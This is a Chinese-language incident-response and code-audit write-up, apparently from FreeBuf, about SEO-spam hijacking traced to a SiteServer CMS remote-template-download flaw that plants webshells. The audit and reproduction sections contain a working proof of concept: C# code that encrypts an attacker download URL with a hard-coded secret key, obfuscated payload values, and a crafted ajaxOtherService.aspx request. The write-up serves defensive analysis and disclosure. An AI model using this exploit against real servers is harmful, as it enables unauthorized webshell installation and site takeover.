當前位置:
首頁 > 新聞 > 簡記siteserver遠程模板下載Getshell漏洞

簡記siteserver遠程模板下載Getshell漏洞

小明同學在某個神清氣朗的周六接到來自上級的應急任務,本次任務詳情為對某個網站黑鏈安全攻擊事件進行溯源,找到攻擊路徑,找出幕後真兇,然而,一場意外的事情才剛剛開始……



0x01 應急響應分析


0x0a 事件表現


通過收到的任務清單,了解到本次安全事件屬於黑鏈攻擊事件,通常主要是通過百度等搜索引擎查看快照等發現存在該黑鏈,但是直接訪問黑鏈鏈接卻沒有任何內容  通過客戶在網關出口架構的某安全廠商的下一代防火牆,客戶及時發現黑鏈現象並反饋出來。通過在百度搜索引擎中使用google hacking搜索方式,來找到百度爬蟲爬取到的該網站的黑鏈快照文件,再次確認黑鏈現象。

而在直接訪問該url時則直接跳轉到正常頁面,通過簡單的信息,可以確定,應該是在伺服器端寫入Referer UA劫持,將來自於百度等搜索引擎的訪問劫持跳轉到黑鏈,而直接輸入url訪問則不進行劫持,要想使用此種黑鏈手法,必須要拿下伺服器才行,意味著客戶伺服器肯定植入了後門文件。


0x0b 事件分析


通過上述事件表現,基本上可以判斷出攻擊者攻擊的方式,因此到被攻擊的伺服器,拿上D盾一頓掃,可以看到出現很多後門文件,最近的一次是在2018-10-04,距離本次安全應急也是最早的,與百度快照中的時間保持一致,基本上可以確定是這一次攻擊後,寫了黑鏈劫持文件,導致此次黑鏈安全事件。根據經驗在網站目錄下搜索spider或者黑鏈鏈接url等標誌字元,確定黑鏈的文件,可以看到在該文件中對來源於sougou、haosou、so、baidu等搜索引擎的UA,就會劫持跳轉到博彩網站,因此將該文件刪除就能夠恢復網站的正常。


再對事件處置完畢,進行日誌分析,根據之前掌握到的時間以及webshell後門文件的名稱include.aspx、aspdm.txt(惡意代碼在aspdm.txt中,使用include.aspx包含執行),對日誌進行篩選(IIS日誌可能存在8個小時的誤差,即訪問時間為14時,日誌記錄可能在6時),經過一個多小時的排查,發現有一個ajaxotherservice.aspx此服務介面存在可疑,攻擊者在攻擊前頻繁訪問此URL介面。將伺服器上的webshell後門文件先備份樣本後刪除,訪問該可疑鏈接http://www.xxx.com/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H0slash0QGZ40add0ZW0iiVbi0slash0MDytVnpZKliDw0equals0&directoryName=txt2,模擬惡意攻擊者行為,發現瀏覽器會返回信息為站點模板下載成功。 之後在伺服器發現模板文件目錄下果然會自動生成一個後門zip並且會自解壓,由於使用zip因此很多防火牆無法檢測攔截該文件是否為惡意文件,造成被輕鬆植入webshell。


到此,就發現了後門webshell的攻擊路徑,通過遠程下載模板的方式,將後門webshell打包成壓縮文件zip,而壓縮文件會自動解壓,所以造成aspx文件可以執行,此過程類似於tomcat上傳war包。


0x02 代碼審計


0x0a 漏洞概述


通過了解,得知被攻擊的網站使用的是siteserver cms,為開源免費cms框架,官網https://www.siteserver.cn/,捕獲到的「0 day」是通過遠程模板下載getshell,漏洞缺陷是由於後台模板下載位置未對用戶許可權進行校驗,且 ajaxOtherService中的downloadUrl參數可控,導致getshell,目前經過測試發現對5.0版本包含5.0以下通殺。


0x0b 漏洞分析


可以看到利用的是ajaxOtherService.cs中的SiteTemplateDownload功能模塊,使用notepad++搜索到該功能模塊如下。發現在ajaxOtherService.cs文件中確實存在函數調用介面SiteTemplateDownload(stringdownloadUrl, string directoryName, string userKeyPrefix)。

其中downloadUrl就是遠程文件的URL地址,directoryName是下載到本地之後命名的模板目錄,userKeyPrefix是加密的密鑰,繼續審核此文件,整理出整個函數調用流程如下,首先在AjaxOtherService.cs文件中使用Page_Load函數負責載入整個頁面,然後通過request[『type』]獲取到不同的操作類型,如果獲取到的type為TypeSiteTemplateDownload ,就會執行其request參數值的相關功能,其中最重要的一步操作就是此時先調用了DecryptStringBySecretKey函數將downloadurl先進行了解密,之後調用SiteTemplateDownload函數進行模板下載並自解壓。 


在AjaxOtherService類中通過常量中已經定義了TypeSiteTemplateDownload = 「SiteTemplateDownload」。


因此當type等於SiteTemplateDownload時就會調用SiteTemplateDownload函數,邏輯非常的清楚,接下來分析downloadurl到底是怎麼解密的,這也是本次審計的重點,畢竟其他邏輯非常清楚了,通過調用TranslateUtils.DecryptStringBySecretKey函數進行解密,通常開發習慣就是類名與文件名基本保持一致,因此很容易找到該文件。


通過分析源代碼可知,這裡將DecryptStringBySecretKey函數進行重載,在調用DecryptStringBySecretKey(string inputString)時候,實際上調用的是下面帶secretKey的同名函數DecryptStringBySecretKey(stringinputString, string secretKey),分析該函數其中secretKey是取自WebConfigUtils.SecretKey的值,通過審計WebConfigUtils.cs文件可知,該值是從配置文檔web.config中取得對應欄位值。SecretKey的值可以在web.config文件中找到。



解密函數DecryptStringBySecretKey(string inputString, string secretKey)中secretKey的參數值同樣為WebConfigUtils.SecretKey的值,繼續分析該函數,可以看到先進行了混淆字元,將字元「+=&?』/」替換成DES加密後的密文。


這裡使用python腳本去除混淆,恢復原DES密文。


程序去除混淆之後調用DES模塊並實例化encryptor對象調用DesDecrypt解密函數,在實例化對象時將inputString和secreKey傳入。使用菜鳥教程http://www.runoob.com/調試運行下核心的加解密代碼傳入參數_encryptKey和_inputString加密代碼調試如下_inputString傳入任意黑客構造的地址,_encryptKey傳入密鑰。

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace EncryptApplication
{ class Encrypt
   { static void Main(string[] args)
     {
       var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
       var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
       var _inputString = "http://127.0.0.1:99/txt2.zip";
       var _outString = ""; var _noteMessage = "";
       byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
       try{
          var byKey = Encoding.UTF8.GetBytes(_encryptKey.Length > 8 ? _encryptKey.Substring(0, 8) : _encryptKey);
         var des = new DESCryptoServiceProvider();
         var inputByteArray = Encoding.UTF8.GetBytes(_inputString);
         var ms = new MemoryStream();
         var cs = new CryptoStream(ms, des.CreateEncryptor(byKey, iv), CryptoStreamMode.Write);     cs.Write(inputByteArray, 0, inputByteArray.Length);
        cs.FlushFinalBlock();
         _outString = Convert.ToBase64String(ms.ToArray());
        Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
     catch (Exception error) { _noteMessage = error.Message; }
} } }


執行之後獲取其加密downloadurl如下:

ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=,

 

使用python代碼混淆該url,得到最後利用的downloadurl。


混淆之後的downloadurl為:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0,

解密的步驟與加密相反,首先將混淆後的下載地址去除混淆。去混淆py代碼去混淆後密文如下:


ZjYIub/YxA2nYLIZNDeUmdd3GBhwbuBXI4s2bpH2CVmtg2H/QGZ4+ZW0iiVbi/MDytVnpZKliDw=,


解密函數調試如下,傳入_inputString和密鑰。



0x03  漏洞復現


假設downloadurl地址為(實際利用是黑客的公網IP地址):http://127.0.0.1:99/txt2.zip安裝後的secretKey:vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5加密後的downloadurl:ZjYIub/YxA3QempkVBK4CoiVo3M607H/TBf7F0aPcUE=

混淆後傳入參數中的downloadurl:ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals00secret0可以構造如下的POC實現遠程文件下載,


獲取webshell/Ajax/ajaxOtherService.aspxtype=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA3QempkVBK4CoiVo3M607H0slash0TBf7F0aPcUE0equals0&directoryName=txt2 在瀏覽器訪問自己搭建的測試網站使用url,發現提示模板下載成功。


在伺服器上查看,發現自解壓該後門zip。然後訪問該後門即可。


0x04 總結


伺服器黑鏈事件,往往大多數都是通過惡意黑客手中的未公開的漏洞,批量掃描攻擊,植入webshell,以及黑鏈。作為一個安全從業人員,要在對坑中學習其攻擊手法,從中找到解決方式,維護世界和平。


*本文原創作者:1u0hun,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

16家國外網站近6.2億用戶信息被掛暗網出售

TAG:FreeBuf |